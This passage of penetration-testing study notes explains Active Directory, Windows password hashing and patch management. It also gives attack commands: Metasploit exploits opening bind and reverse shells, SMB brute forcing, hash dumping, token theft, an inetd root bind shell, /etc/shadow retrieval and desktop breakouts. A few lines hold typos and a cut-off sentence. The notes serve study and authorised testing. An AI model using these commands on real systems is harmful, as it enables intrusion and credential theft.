In a multi-domain forest the Active Directory database becomes partitioned. That is, each domain maintains a list of only those objects that belong in that domain. So, for example, a user created in Domain A would be listed only in Domain A's domain controllers. Global catalogue (GC) servers are used to provide a global listing of all objects in the Forest. The Global catalogue is held on domain controllers configured as global catalogue servers. Global Catalogue servers replicate to themselves all objects from all domains and hence, provide a global listing of objects in the forest. However, in order to minimize replication traffic and to keep the GC's database small, only selected attributes of each object are replicated. Global catalogue runs on TCP port 3268. A global catalogue server must be available or the user cannot logon to the domain unless the user is in the group "Domain Admins". Adding more global catalog servers will make searching the forest faster, but more network bandwidth will be required for replication between global catalog servers.

Master Browser:

The master browser is responsible for collecting host or server announcements, which are sent as datagrams every 12 minutes by each server on the network segment of the master browser. The master browser instructs the potential browsers for each network segment to become backup browsers. The backup browser on a given network segment provides a browse list to the client computers located in the same segment. In a Windows NT domain structure, the primary domain controller (PDC) is always selected as the domain master browser. Only the PDC can be a domain master browser. If a PDC is not present, a domain master browser is not available and you are unable to obtain browse lists from workgroups other than the workgroup you are located in. In Windows 2000 and above the DC

Flexible Single Master Operations (FSMO):

Windows 2000 Domains work using a multiple master design with restricted master operations on a master domain controller. This was done to distribute the load on domain controllers but there are some operations that can only be done on a single or "master" controller. There are a set of Flexible Single Master Operations (FSMO) which can only be done on a single controller. An administrator determines which operations must be done on the master controller. These operations are all set up on the master controller by default and can be transferred later. FSMO operations types include:

- Schema Master - Makes changes to the database schema. Applications may remotely connect to the schema master. – one per forest
- Domain Naming Master - Adds or removes domains to or from the forest. – one per master
- PDC Emulator - When Active Directory is in mixed mode, the computer Active Directory is on acts as a Windows NT PDC. The first server that becomes a Windows 2000 domain controller takes the role of PDC emulator by default. Functions performed by the PDC emulator:
  - User account changes and password changes.
  - SAM directory replication requests.

    - Domain master browser requests.
    - Authentication requests.

  The NTLM protocol is used by the PDC emulator to contact non-Windows 2000 clients and servers for exchange of authentication information. When contacting Windows 2000 servers , the Windows 2000 protocol is used.
- Relative ID Master (RID Master) - All objects have a Security Identifier (SID) and a domain SID. The RID assigns relative IDs to each domain controller.
- Infrastructure Master - Updates group membership information when users from other domains are moved or renamed. If you transfer this function, it should not be transferred to the domain controller that is the global catalogue server. If this is done, the Infrastructure Master will not function.

E3b - Reliance of AD on DNS and LDAP

AD relies on DNS as its primary locator service.
AD uses LDAP as a protocol for its data repository – it would not work without it.

E3c - Group Policy (Local Security Policy)

Group Policy:
Group Policy is a feature of the Microsoft Windows NT family of operating systems. Group Policy is a set of rules which control the working environment of user accounts and computer accounts. Group Policy provides the centralized management and configuration of operating systems, applications and users' settings in an Active Directory environment. In other words, Group Policy in part controls what users can and can't do on a computer system. Group Policy can control a target object's registry, NTFS security, audit and security policy, software installation, logon- and logoff-scripts, Security filtering is the process of customizing the scope of the Group Policy Object (GPO) by choosing which users and groups the GPO applies to. Group policy can effectively control the local security policies for all computers within a domain

Local Security Policy:
Local Security Policy can be used to directly modify account and local policies, public key policies and IP security policies for your local computer

Account policies - All security policies are computer-based policies. Account policies are defined on computers, yet they affect how user accounts can interact with the computer or domain. Account policies contain three subsets:

- Password policy - Used for domain or local user accounts. Determines settings for passwords, such as enforcement and lifetimes.
- Account lockout policy - Used for domain or local user accounts. Determines the circumstances and length of time that an account will be locked out of the system.
- Kerberos policy - Used for domain user accounts. Determines Kerberos-related settings, such as ticket lifetimes and enforcement. Kerberos policies do not exist in local computer policy.

For domain accounts, there can be only one account policy. The account policy must be defined in the Default Domain policy and is enforced by the domain controllers that make up the domain. A domain controller always obtains the account policy from the Default Domain Policy Group Policy object, even if there is a different account policy applied to the organizational unit that contains the domain controller. By default, workstations and servers joined to a domain (such as member computers) will also receive the same account policy for their local accounts. However, local account policies can be different from the domain account policy, such as when you define an account policy specifically for the local accounts.

Local policies - These policies apply to a computer and contain these subsets:

- Audit policy - Determines whether security events are logged into the Security log on the computer. Also determines whether to log successful attempts, failed attempts or both. (The Security log is part of Event Viewer.)
- User rights assignment - Determines which users or groups have logon rights or privileges on the computer.
- Security options -Enables or disables security settings for the computer, such as digital signing of data, Administrator and Guest account names, floppy drive and CD-ROM access, driver installation, and logon prompts.

E4 - Windows Passwords

E4a - Password policies (complexity, lockout policies)

Strong passwords are a critical to security and are mandated through a good password policy:

- Enforce password history (24 new password before reuse)
- Maximum password age (30 days – change every month)
- Minimum password age (2 days – can't change to quickly)
- Minimum password length (8 chars – harder to bruteforce)
- Passwords must meet complexity requirements (minimum 1 upper, 1 lower, 1 number/special)
- Store password using reversible encryption for all users in the domain (don't do – unsafe)

Account lock out policy should be set to prevent brute force attack

• Account lockout duration	30 minutes
• Account lockout threshold	5 attempts
• Reset account lockout counter after	30 minutes

E4b - Account Brute Forcing

Administrator account is safest on pre-2008 servers as it has no lockout applied. Be sure to use SID...500 if the account has been renamed.

If you have the account lockout policy and there is none then you fair game to do this.

```
smbbf –i <ip> --p pass.txt –u user.txt –v –P1
```

E4c - Hash Storage (merits of LANMAN, NTLMv1 / v2)

LANMAN:

LM hash or LAN Manager hash is one of the formats that Microsoft LAN Manager and Microsoft Windows versions previous to Windows Vista use to store user passwords that are fewer than 15 characters long. This type of hash is the only type of encryption used in Microsoft LAN Manager, hence the name, and versions of Windows up to Windows Me. It is also supported in more recent Windows versions for backward compatibility, although in Windows Vista and later it must explicitly be enabled for use as it is turned off by default.

1. The LM hash is computed as follows:
2. The user's password is converted to uppercase.
3. This password is null-padded to 14 bytes. If the password is more than 14 characters long, the LMHash cannot be computed.
4. The "fixed-length" password is split into two 7-byte halves.
5. These values are used to create two DES keys, one from each 7-byte half, by converting the seven bytes into a bit stream, and inserting a zero bit after every seven bits. This generates the 64 bits needed for the DES key.
6. Each of these keys is used to DES-encrypt the constant ASCII string "KGS!@#$%", resulting in two 8-byte ciphertext values.
7. These two ciphertext values are concatenated to form a 16-byte value, which is the LM hash.

Although it is based on DES, a well-studied block cipher, the LM hash can easily be cracked due to two weaknesses in its implementation. First, passwords longer than 7 characters are divided into two pieces and each piece is hashed separately. Second, all lower case letters in the password are changed to upper case before the password is hashed. The first weakness allows each half of the password to be attacked separately. By mounting a brute force attack on each half separately, modern desktop machines can crack alphanumeric LM hashes in a few hours.

NTLM:

To address the security weaknesses inherent in LM encryption, Microsoft introduced the NTLM algorithm with Windows NT 3.1. NTLM (NT LAN Manager) is a Microsoft authentication protocol used with the SMB protocol. MS-CHAP is similar and is used for authentication with Microsoft remote access protocols. The protocol uses a challenge-response sequence requiring the transmission of three messages between the client (wishing to authenticate) and the server (requesting authentication):

1. The client first sends a Type 1 message containing a set of flags of features supported or requested (such as encryption key sizes, request for mutual authentication, etc.) to the server.
2. The server responds with a Type 2 message containing a similar set of flags supported or required by the server (thus enabling an agreement on the authentication parameters between the server and the client) and, more importantly, a random challenge (8 bytes).
3. Finally, the client uses the challenge obtained from the Type 2 message and the user's credentials to calculate the response. The calculation methods differ based on the NTLM authentication parameters negotiated previously, but in general they apply MD4/MD5 hashing algorithms and DES encryption to compute the response. The client then sends the response to the server in a Type 3 message.

NTLMv1 is a challenge-response authentication protocol. The server authenticates the client by sending an 8-byte random number, the challenge. The client performs an operation involving the challenge and a secret shared between client and server, e.g. a password. The client returns the 24-byte result of the computation. In fact, in NTLMv1 two computations are made using two different shared secrets and two 24-byte results are returned. The server verifies that the client has computed the correct result, and from this infers possession of the secret, and hence the identity of the client. The two secrets are:

- the LANMAN Hash of the user's password and
- the MD4 hash of the user's password (NT-HASH)

Both these hashes produce 16-byte quantities. Five bytes of zeros are appended to obtain 21 bytes. The 21 bytes are separated in three 7 bytes quantities. Each of these 56 bit quantities is used as a key to DES encrypt the 64 bit challenge. The three encryptions of the challenge are reunited to form the 24-byte response. Both the response using the lanman hash and the MD4 hash (called the NT Hash) are returned as the response.

NTLMv2, introduced after Windows NT 4.0 SP4, is a challenge-response authentication protocol. It is intended as a cryptographically strengthened replacement for NTLMv1. It consists of two different protocols, one which differs greatly from NTLMv1, and a second which shares much of NTLMv1's structure and is similar to MS-CHAPv2. The first protocol is referred to as NTLM2, the second as NTLM2 Session. NTLM2 sends two 16-byte responses to an 8-byte server challenge. The response is the HMAC-MD5 hash of the server challenge, a randomly generated client challenge, and a HMAC-MD5 hash of the user's password and other identifying information. The two responses differ in the format of the client challenge. The shorter response uses an 8-byte random value for this challenge. In order to verify the response, the server must receive as part of the response the client challenge. For this shorter response, the 8-byte client challenge appended to the 16-byte response makes a 24-byte package which is consistent with the 24-byte response format of the previous NTLMv1 protocol. In certain non-official documentation (e.g. DCE/RPC Over SMB, Leighton) this response is termed LMv2. The second response sent by NTLM2 uses a variable length client challenge which includes (1) the current time in NT Time format, (2) an 8-byte random value, (3) the domain name and (4) some standard format stuff. The response must include a copy of this client challenge, and is therefore variable length. In non-official documentation, this response is termed NTv2.Both LMv2 and NTv2 hash the client and server challenge with a hash of the user's password and other identifying information. The exact formula is to begin with the NT Hash of NTLMv1, which is stored in the SAM, and continue to hash in, using HMAC-MD5, the username and domain name. In the box below, X stands for the fixed contents of a formatting field.

The NTLMv2 Session protocol is entirely different, being very similar to MS-CHAPv2. It is described by Eric Glass' ntlm page. Briefly, the NTLMv1 algorithm is applied, except that an 8-byte client challenge is appended to the 8-byte server challenge and MD5 hashed. The least 8-byte half of the hash result is the challenge utilized in the NTLMv1 protocol. The client challenge is returned in one 24-byte slot of the response message, the 24-byte calculated response is returned in the other slot. This is a strengthened form of NTLMv1 which maintains the ability to use existing Domain Controller infrastructure yet avoids a dictionary attack by a rogue server. For a fixed X, the server computes a table where location Y has value K such that Y=DES_K(X). Without the client participating in the choice of challenge, the server can send X, look up response Y in the table and get K. This attack can be made practical by using rainbow tables. However, existing NTLMv1 infrastructure allows that the challenge/response pair is not verified by the server, but sent to a Domain Controller for verification. Using NTLMv2 Session, this infrastructure continues to work if the server substitutes for the challenge the hash of the server and client challenges.

E4d - Offline Password Analysis (rainbow tables / hash brute forcing)

If a system uses a poorly designed password hashing scheme to protect stored passwords, an attacker can exploit any weaknesses to recover even 'well-chosen' passwords. One example is the LM hash that Microsoft Windows XP and previous versions use by default to store user passwords of less than 15 characters in length. LM hash converts the password into all uppercase letters then breaks the password into two 7-character fields which are hashed separately—which allows each half to be attacked individually. LM hash does not include salt, therefore a time-memory trade-off cryptanalysis attack, such as rainbow tables, is also feasible. In 2003, Ophcrack, an implementation of the rainbow table technique, was published. It specifically targets the weaknesses of LM encryption, and includes pre-computed data sufficient to crack virtually all alphanumeric LM hashes in a few seconds. Many cracking tools, e.g. RainbowCrack, L0phtCrack and Cain, now incorporate similar attacks and make cracking of LM hashes trivial. However, because LM hashing is not used for passwords of 15 characters or longer, these are relatively strong.

Password encryption schemes that use stronger hash functions like MD5, SHA-512, SHA-1, and RIPEMD-160 can still be vulnerable to brute-force and precomputation attacks. The following types of password cracking can be applied to any hashing encryption scheme:

- ***Dictionary attacks***
  Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, given and family names, any too short password (usually thought to be 6 or 7 characters or less), or any password meeting a too restrictive and so predictable, pattern (eg, alternating vowels and consonants). Repeated research over some 40 years has demonstrated that around 40% of user-chosen passwords are readily guessable by sophisticated cracking programs armed with dictionaries and, perhaps, the user's personal information

- ***Brute Force attacks***
  A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords. This method is unlikely to be practical unless the password is relatively short, however techniques using parallel processing can reduce the time to find the password in inverse proportion to the number of computer devices (CPUs) in use. This depends heavily on whether the prospective attacker has access to the hash of the password as well as the hashing algorithm, in which case the attack is called an offline attack (it can be done without connection to the protected resource) or not, in which case it is called an online attack. Offline attack is generally much easier, because testing a password is reduced to a mathematical computation of the hash of the password to be tried and comparison with the hash of the real password. In an online attack the attacker has to try to authenticate himself with all the possible passwords, and rules and delays can be imposed by the system and the attempts can be logged.

- ***Pre-computation attacks***
  In its most basic form, pre-computation involves hashing each word in the dictionary (or any search space of candidate passwords) and storing the word and its computed hash in a way that enables lookup on the list of computed hashes. This way, when a new encrypted password is obtained, password recovery is instantaneous. Pre-computation can be very useful for a dictionary attack if salt is not used properly (see below), and the dramatic decrease in the cost of mass storage has made it practical for fairly large dictionaries. Advanced pre-computation methods exist that are even more effective. By applying a time-memory trade off, a middle ground can be reached - a search space of size N can be turned into an encrypted database of size O(N2/3) in which searching for an encrypted password takes time O(N2/3). The theory has recently been refined into a practical technique. Another example cracks alphanumeric Windows LAN Manager passwords in a few seconds. This is much faster than brute force attacks on the obsolete LAN Manager, which uses a particularly weak method of hashing the password. Windows systems prior to Windows Vista/Server 2008 compute and store a LAN Manager hash by default for backwards compatibility. Rainbow tables are a form of pre-computation attack.

E5 - Windows Vulnerabilities

E5a - Knowledge of remote windows vulnerabilities, particularly those for which robust exploit code exists in the public domain

Metasploit:

- ms06_040_netapi (great)

```
msfcli windows/smb/ms06_040_netapi RHOST=<IP> PAYLOAD=windows/shell/bind_tcp
TARGET=0 E
```

- windows/smb/msdns_zonename (good on DC's)

```
msfcli exploit/windows/dcerpc/msdns_zonename PAYLOAD=windows/shell/bind_tcp
RHOST=<IP> E
```

- windows/dcerpc/ms03_026_dcom (great)

```
msfcli windows/dcerpc/ms03_026_dcom RHOST=<IP> PAYLOAD=windows/meterpreter/bind_tcp
TARGET=0 E
```

- windows/smb/ms08_067_netapi (great)

```
msfcli windows/smb/ms08_076_netapi RHOST=<IP> PAYLOAD=windows/shell/bind_tcp E
```

- windows/smb/ms04_011_lsass (great)

```
msfcli windows/smb/ms04_011_lsass RHOST=<IP> PAYLOAD=windows/shell/bind_tcp
TARGET=0 E
```

E5b - Knowledge of local windows privilege escalation vulnerabilities and techniques

Insecure service call:

```
service.msc
procexp.exe                                    (check file perms of running svc)
accesschk.exe -wcvu "user\user" *              (check Service permissions)
```

Task Scheduler:

```
C:\WINDOWS\Tasks
```

Write Access to:

```
home dirs startmenu/startup
all users startmenu/starup items
```

Write to reg keys:

```
HKLM\System\CurrentControlSet\Services
HKCU\Control Panel\Desktop\Scrnsave.exe
HKLM\System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\StartupPrograms
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
etc
```

Passwords:

```
shortcuts
RDP files (search .rdp)
unattend.txt
```

Check Patches:

```
MBSA
WSUS
```

Priv Esc in Task Bar:

```
Running as high privs that can launch other programs
Shatter attacks (old now)
```

PSH:

```
whoesthere.exe                                              (or whoesthere-alt.exe)
```

```
iam.exe -h <user>:<domain>:<lm hash>:<nt hash> -r cmd.exe    (or iam-alt.exe)
```

Incognito:

```
psexec -s -i <session_id> cmd.exe         (become  NT AUTHORITY\SYSTEM)
incognito list_tokens -u                  (list user tokens)
incognito execute -c <token> cmd.exe      (run cmd with user's stolen token)
whoami                                    (impersonated user)

N.B. if doing incognito remotely then no need for system (-h <hosts>)
```

Meterpreter (with incognito):

```
msfpayload windows/meterpreter/bind_tcp LPORT=4444 X > mf.exe
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=<target> E
use incognito
use priv
use stdapi

list_tokens -u
etc
```

E5c - Knowledge of common post exploitation activities:

- ### obtain password hashes, both from the local SAM and cached credentials

Dump Hashes (SAM):

```
fgdump -h <target> -o -u <username> -p <password>
pwdumpx -clp <target> <username> <password>
Cain.exe
whoesthere.exe
whoesthere-alt.exe
```

meterpreter:

```
msfpayload windows/meterpreter/bind_tcp LPORT=4444 X > mf.exe
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/bind_tcp RHOST=<target>  E
nc <target> 4444
use priv
hashdump
```

- ### obtaining locally-stored clear-text passwords

Find files with interesting names:

- password
- credential
- authentication
- build
- unattend.txt
- etc

Shortcuts
RDP files .rdp   (pre mstsc v6)

- ### crack password hashes

```
Cain.exe
john <password file>
john --show <password file>               (will be in uppercase for LM)
john --wordlist=<file>                    (user specified wordlist)
```

- ### check patch levels

MBSA:

```
mbsacli.exe /xmlout /nvc /catalog wsusscn2.cab /nd /unicode > mssecure.xml
```

use SAXPAR.VBS script to have nice output

```
hfcli.exe -o xml3 -x hfnetchk6b.xml -h 192.168.2.95 -u bob -p 'p4ssw0rd]'
```

Others:

- Windows Update with WSUS (without updating)
- Nessus (professional with Credentials)
- psinfo -h (lists installed hostfixes)

• derive list of missing security patches

- Output of MBSA)use SAXPAR.vbs to see nice results)
- Missing patch list from windows update.
- use MS website manually (tedious!)
- Dom’s perl script on the wsusscn2.cab

• reversion to previous state

Clean up after yourself:

- Use single folder for all uploads and saved files then remove folder on completion
- Re-enable services
- Restore changed file/registry permissions
- Remove all added user from machine

E6 - Windows Patch Management Strategies

E6a - Knowledge of common windows patch management strategies:

• SMS

SMS - System Center Configuration Manager, formerly Systems Management Server (SMS), is a systems management software product by Microsoft for managing large groups of Windows-based computer systems. Configuration Manager provides remote control, patch management, software distribution, operating system deployment, and hardware and software inventory. SMS is now named System Center Configuration Manager (SCCM).

• SUS

Software Update Services (SUS) was a tool for centralizing the update of Microsoft Windows systems in a network, developed by Microsoft. SUS works on a server and downloads updates for the specified versions of Windows from the remote Windows Update site, operated by Microsoft. The clients can then download updates from this internal server, rather than connecting directly to Windows Update. This simplifies the management of updates and saves bandwidth.SUS has been superseded by Windows Server Update Services, which use the same principles but allow updating of different Microsoft products, not only Windows.

• WSUS

Windows Server Update Services (WSUS) provides a software update service for Microsoft Windows operating systems and other Microsoft software. WSUS is a locally managed system that works with the public Microsoft Update website to give system administrators more control. By using Windows Server Update Services, administrators can manage the distribution of Microsoft hotfixes and updates released through Automatic Updates to computers in a corporate environment.
WSUS originated as Software Update Services (SUS), which delivered only operating system hotfixes and patches. WSUS builds on SUS by expanding the range of software it can update. The WSUS infrastructure allows automatic downloads of hotfixes, updates, service packs, device drivers and feature packs to clients in an organization from a central server(s), instead of using the public Microsoft Windows Update website. This saves bandwidth, time and disk space, as the individual computers in a network do not have to connect to an external server themselves, but connect to a local central server. It also increases administrators' control and allows clients to obtain updates in environments that do not have internet access.

- ### MBSA

Microsoft Baseline Security Analyzer (MBSA) is a software tool released by Microsoft to determine security state by assessing missing security updates and less-secure security settings within Microsoft Windows, Windows components such as Internet Explorer, IIS web server, and products Microsoft SQL Server, and Microsoft Office macro settings. Security updates are determined by the current version of MBSA using the Windows Update Agent present on Windows computes since Windows 2000 Service Pack 3. The less-secure settings, often called Vulnerability Assessment (VA) checks, are assessed based on a hard-coded set of registry and file checks. An example of a VA might be that permissions for one of the directories in the wwwroot folder of IIS could be set at too low a level, allowing unwanted modification of files from outsiders.

E7 - Desktop Lockdown

E7a - Knowledge and understanding of techniques to break out of a locked down Windows desktop / Citrix environment

Login Screen:
Hit <CTRL-F1> to bring up the Task Manager

Word:
Type file:\\\c:\windows\explorer.exe

IE:
If IE is really locked down, try:
right clicking on a web page - anyone will do
view source (should launch notepad)
add a link near the top of the src: <a href="file:///c:\windows\system32\cmd.exe">Command Prompt</a>
save to desktop (or somewhere writable)
Double click saved file
Click the link you added
Hopefully a command prompt will pop up.

Windows Explorer:
If Windows Explorer is locked down, you might still be able to browse the local disks after a fashion.
If auto-complete is turned on, just start typing "c:\" hopefully it will suggest all the files in the route of the C: drive. Keep typing "windows\system32\" and you should see all the files in there. We found that we could discover config files and view them in this way (just press enter when you've typed in the whole filename and notepad will hopefully open). We could also execute files in this way.

Excel:
Shortcut Keys
CTRL-F4 - Close Current Document
CTRL-w - Close Current Document
CTRL-F11 - New Document
CTRL-F12 - Open Document

Macros:
First you need to get into the VBA editor. One of these methods will hopefully work for you:
Tools | Macros
Right Click on a chart | Assign Macro
Right Click the little "sheet1" or "macro1" tab near the bottom left | Click view source. If "View Source" is greyed out, just click "Insert..." instead and insert any spreadsheet solution. Now try again. "View Source" should be enabled now.

```
Sub runshell
Shell("cmd.exe")
End Sub
```

Click the Play button and a nice command prompt should pop up.

FTP:

```
ftp !cmd.exe
```

Hyperlinks:

There are two ways to create a hyperlink:
Simply enter something like this into a cell: file:///c:\winnt\system32\cmd.exe
Press the function button (Fx) and use the HYPERLINK function

Run System Tools From Display Properties
Control Panel > Display > Desktop > Customize > Web > New... > c:\windows\system32\cmd.exe > Ok > Synchronize > Ok

Replace Excel.exe
This is a rather distructive test, so be careful.
Go into an "Open" or "Save" dialog. Navigate to excel.exe. Rename it to excel-backup.exe. Now copy and paste explorer.exe to the excel folder and name it excel.exe. Hopefully next time you try an use excel on this server, explorer will start. Have never actually tried it.

Word / Help:

How obtain explorer.exe via Help in MS Word.
If using MS Word 2000:

1. Help -> Microsoft Word Help
2. Options -> Internet Options
3. Under the General Tab click the Settings button
4. On the screen that follows, click the View Files button

If using MS Word 2003 then slightly different method as follows:

1. Help -> About Microsoft Office Word
2. Click System Info button
3. Help -> Contents -> Options -> Internet Options
4. Under the General Tab click the Settings button
5. On the screen that follows, click the View Files button

E7b - Privilege escalation techniques

Same as windows (see above)

Citrix Shortcut keys:

```
SHIFT+F1      - Local Task List
SHIFT+F2      - Toggle Title bar
SHIFT+F3      - Close Remote App
CTRL+F1       - Show Windows Security Desktop
CTRL+F2       - Remote Task List
CTRL+F3       - Remote Task Manager
ALT+F2        - Cycle through programs
ALT+PLUS      - Alt-Tab
ALT+MINUS     - Alt-shift-tab
```

E8 – Exchange

E8a - Knowledge of common attack vectors for Microsoft Exchange Server

Metasploit:

```
windows/smtp/ms03_046_exchange2000_xexch50           not reliable
```

OWA:

```
http://<IPADDRESS>/exchange                    (possibly weak passwords)
```

E9 - Common Windows Applications

E9 - Knowledge of significant vulnerabilities in common windows applications for which there is public exploit code available

GET from metasploit

RealVNC:

```
./msfcli realvnc_41_bypass  LHOST=127.0.0.1 RHOST=<HOST> AUTOCONNECT=0 E
```

Unix Security Assessment

ID	Skill	Detail	Exam
F1	User enumeration	Discovery of valid usernames from network services commonly running by default: • rusers • rwho • SMTP • finger Understand how finger daemon derives the information that it returns, and hence how it can be abused.	MC P
F2	Unix vulnerabilities	Recent or commonly-found Solaris vulnerabilities, and in particular those for which there is exploit code in the public domain. Recent or commonly-found Linux vulnerabilities, and in particular those for which there is exploit code in the public domain. Use of remote exploit code and local exploit code to gain root access to target host Common post-exploitation activities: • exfiltrate password hashes • crack password hashes • check patch levels • derive list of missing security patches • reversion to previous state	MC LF P
F3	FTP	FTP access control Anonymous access to FTP servers Risks of allowing write access to anonymous users.	MC P
F4	Sendmail /SMTP	Valid username discovery via EXPN and VRFY Awareness of recent Sendmail vulnerabilities; ability to exploit them if possible Mail relaying	MC LF P
F5	Network File System (NFS)	NFS security: host level (exports restricted to particular hosts) and file level (by UID and GID). Root squashing, nosuid and noexec options. File access through UID and GID manipulation.	MC P
F6	R* services	Berkeley r* service: • access control (/etc/hosts.equiv and .rhosts) • trust relationships Impact of poorly-configured trust relationships.	MC P
F7	X11	X Windows security and configuration; host-based vs. User-based access control	MC P

			LF
F8	RPC services	RPC service enumeration Common RPC services Recent or commonly-found RPC service vulnerabilities.	MC P
F9	SSH	Identify the types and versions of SSH software in use Securing SSH Versions 1 and 2 of the SSH protocol Authentication mechanisms within SSH	MC P

F1 - User enumeration

F1a - Discovery of valid usernames from network services commonly running by default:

- **rusers**

The Unix rusers service is an RPC service that listens on a dynamic TCP port. The rusers client utility fist connects to the RPC portmapper on port 111, which returns the whereabouts of the rusersd services if its active.
If rusersd is running, you can probe the service with the rusers client to retrieve

```
rusers -l <target>
```

- **rwho**

The Unix rwhod service listens on UDP port 513. If found to be accessible, you can query it using the Unix rwho client to list current users who are logged into the all hosts on the local network.

```
rwho -a
```

- **SMTP**

- EXPN verb is used to expand details for a given email address. It can also be used to ascertain whether a user account exist on the server.
- VRFY verb is used to verify if a given email address is valid so it can also be used to enumerate valid local user accounts.
- RCPT TO – this can also enumerate local user accounts as the mail server can respond with sender OK or invalid user.

```
smtp-user-enum.pl -M VRFY -U users.txt -t <target>
smtp-user-enum.pl -M EXPN -U users.txt -t <target>
smtp-user-enum.pl -M RCPT -U users.txt -t <target>
```

- **finger**

The fingerd service listens on TCP port 79. The finger client is used to connect to teh service and indentify user currently logged on to the remote machine.

```
finger @ip-address (might return all the logged in users)
finger "a b c d e f g h"@ip-address (Solaris bug returns all users ( < Solaris 8))
finger "1 2 3 4 5 6 7 8 9 0"@ip-address (Solaris)
finger 0@ip-address (returns users with blank GCOS entries - Solaris)
finger -l .@ip-address
finger -l **@ip-address
finger -l user@ip-address
finger "the admin user"@192.168.1.155 (looks up in the name field)

finger -l -p <USER>@ip-address          (GET PLAN)
```

possibly try fingerenum (although it is fairly slow)

F1b - Understand how finger daemon derives the information that it returns, and hence how it can be abused

finger uses the gcos from /etc/password to check users

F2 - Unix vulnerabilities

F2a - Recent or commonly-found Solaris vulnerabilities, and in particular those for which there is exploit code in the public domain

Solaris 8:

Remote:

- in.telnetd TTYPROMPT Buffer Overflow Vulnerability

```
msfcli solaris/telnet/ttyprompt PAYLOAD=cmd/unix/reverse RHOST=<IP> LHOST=<MY IP> E
ttyprompt.sh <IP> <MY IP>
```

- Security Vulnerability in the in.lpd Daemon

```
msfcli solaris/lpd/sendmail_exec PAYLOAD=cmd/unix/reverse RHOST=<IP> E
lpd_sendmail.sh <IP>
```

- CDE dtspcd Buffer Overflow Vulnerability

```
msfcli solaris/dtspcd/heap_noir     PAYLOAD=cmd/unix/reverse RHOST=<IP> E
solaris8_sparc_dtspcd.sh <IP>
```

- kcms_server Daemon Issue – get file

```
./kcms-getfile -h <IP> -f /etc/shadow
```

- sadmind default security level

```
msfcli solaris/sunrpc/sadmind_exec PAYLOAD=cmd/unix/reverse RHOST=<IP> E
sadmind_exec.sh <IP>
```

Priv Esc:

CDE libDtHelp library buffer overflow vulnerability
raptor_libdthelp.c
raptor_libdthelp2.c

Stack-based buffer overflow in the circ() function of passwd(1)
Raptor_password.c

Runtime Linker LD_PRELOAD Local Buffer Overflow Vulnerability
Raptor_ldpreload.c

System V login Buffer overflow Vulnerability
Raptor_rlogin.c

Buffer overflow in the Strcmp() function of X11 XKEYBOARD extension
raptor_xkb.c

Under solaris you can run inetd as a non priv user so can create a bind shell on a port e.g.

```
echo "ingreslock  stream  tcp     nowait  root /bin/sh sh -i " > /tmp/my.conf
/usr/sbin/inetd -s /tmp/my.conf
Then to connect ot your bind shell do:
nc <IP> 1524
```

Solaris 10:

Kernel memory leak via sysinfo(2)
raptor_sysinfo.c

Buffer overflow in the Strcmp() function of X11 XKEYBOARD extension
raptor_xkb.c

NSPR library arbitrary file creation vulnerability
Raptor_libnspr.txt
Raptor_libnspr2.txt
Raptor_libnspr.3txt

telnet froot
exploit/solaris/telnet/fuser

Metasploit:
exploit/solaris/sunrpc/ypupdated_exec
exploit/solaris/samba/lsa_transnames_heap
exploit/solaris/telnet/fuser
exploit/solaris/samba/trans2open
exploit/solaris/telnet/ttyprompt
exploit/solaris/sunrpc/sadmind_adm_build_path

Solaris/x86:

- raptor_ucbps. Solaris 8, 9 (CVE-1999-1587). Information leak with /usr/ucb/ps on both SPARC and x86.
- raptor_sysinfo.c. Solaris 10 (CVE-2006-3824). Kernel memory disclosure with the sysinfo(2) system call.
- raptor_libnspr. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation oldschool local root.
- raptor_libnspr2. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via LD_PRELOAD.
- raptor_libnspr3. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via constructor.
- raptor_peek.c. Solaris 8, 9, 10 (CVE-2007-5225). Kernel memory disclosure with fifofs I_PEEK ioctl(2).

Solaris/SPARC:

- raptor_ucbps. Solaris 8, 9 (CVE-1999-1587). Information leak with /usr/ucb/ps on both SPARC and x86.
- raptor_rlogin.c. Solaris 2.5.1, 2.6, 7, 8 (CVE-2001-0797). Buffer overflow in System V login via rlogin vector.
- raptor_ldpreload.c. Solaris 2.6, 7, 8, 9 (CVE-2003-0609). Stack-based buffer overflow in the runtime linker ld.so.1.
- raptor_libdthelp.c. Solaris 7, 8, 9 (CVE-2003-0834). Buffer overflow in CDE libDtHelp via dtprintinfo help feature.
- raptor_libdthelp2.c. Solaris 7, 8, 9 (CVE-2003-0834). Buffer overflow in CDE libDtHelp, non-exec stack version.
- raptor_passwd.c. Solaris 8, 9 (CVE-2004-0360). Stack-based buffer overflow in the circ() function of passwd(1).
- raptor_sysinfo.c. Solaris 10 (CVE-2006-3824). Kernel memory disclosure with the sysinfo(2) system call.

- raptor_xkb.c. Solaris 8, 9, 10 (CVE-2006-4655). Buffer overflow in the Strcmp() function of X11 XKEYBOARD.
- raptor_libnspr. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation oldschool local root.
- raptor_libnspr2. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via LD_PRELOAD.
- raptor_libnspr3. Solaris 10 (CVE-2006-4842). NSPR library arbitrary file creation local root via constructor.
- raptor_peek.c. Solaris 8, 9, 10 (CVE-2007-5225). Kernel memory disclosure with fifofs I_PEEK ioctl(2).

F2b - Recent or commonly-found Linux vulnerabilities, and in particular those for which there is exploit code in the public domain

- 2.6.0 [1 2, CVE] [3,CVE] [7 8,CVE] [9 10, CVE]
- 2.6.1 [1 2, CVE] [3,CVE] [7 8,CVE] [9 10, CVE]
- 2.6.2 [1 2, CVE] [3,CVE] [9 10, CVE]
- 2.6.3-10 [3,CVE] [9 10, CVE]
- 2.6.11 [3,CVE] [7 8,CVE]
- 2.6.12 [7 8,CVE]
- 2.6.13 [4, 5 CVE] [6,CVE][7 8,CVE]
- 2.6.14 [4, 5 CVE] [6,CVE][7 8,CVE]
- 2.6.15 [4, 5 CVE] [6,CVE][7 8,CVE]
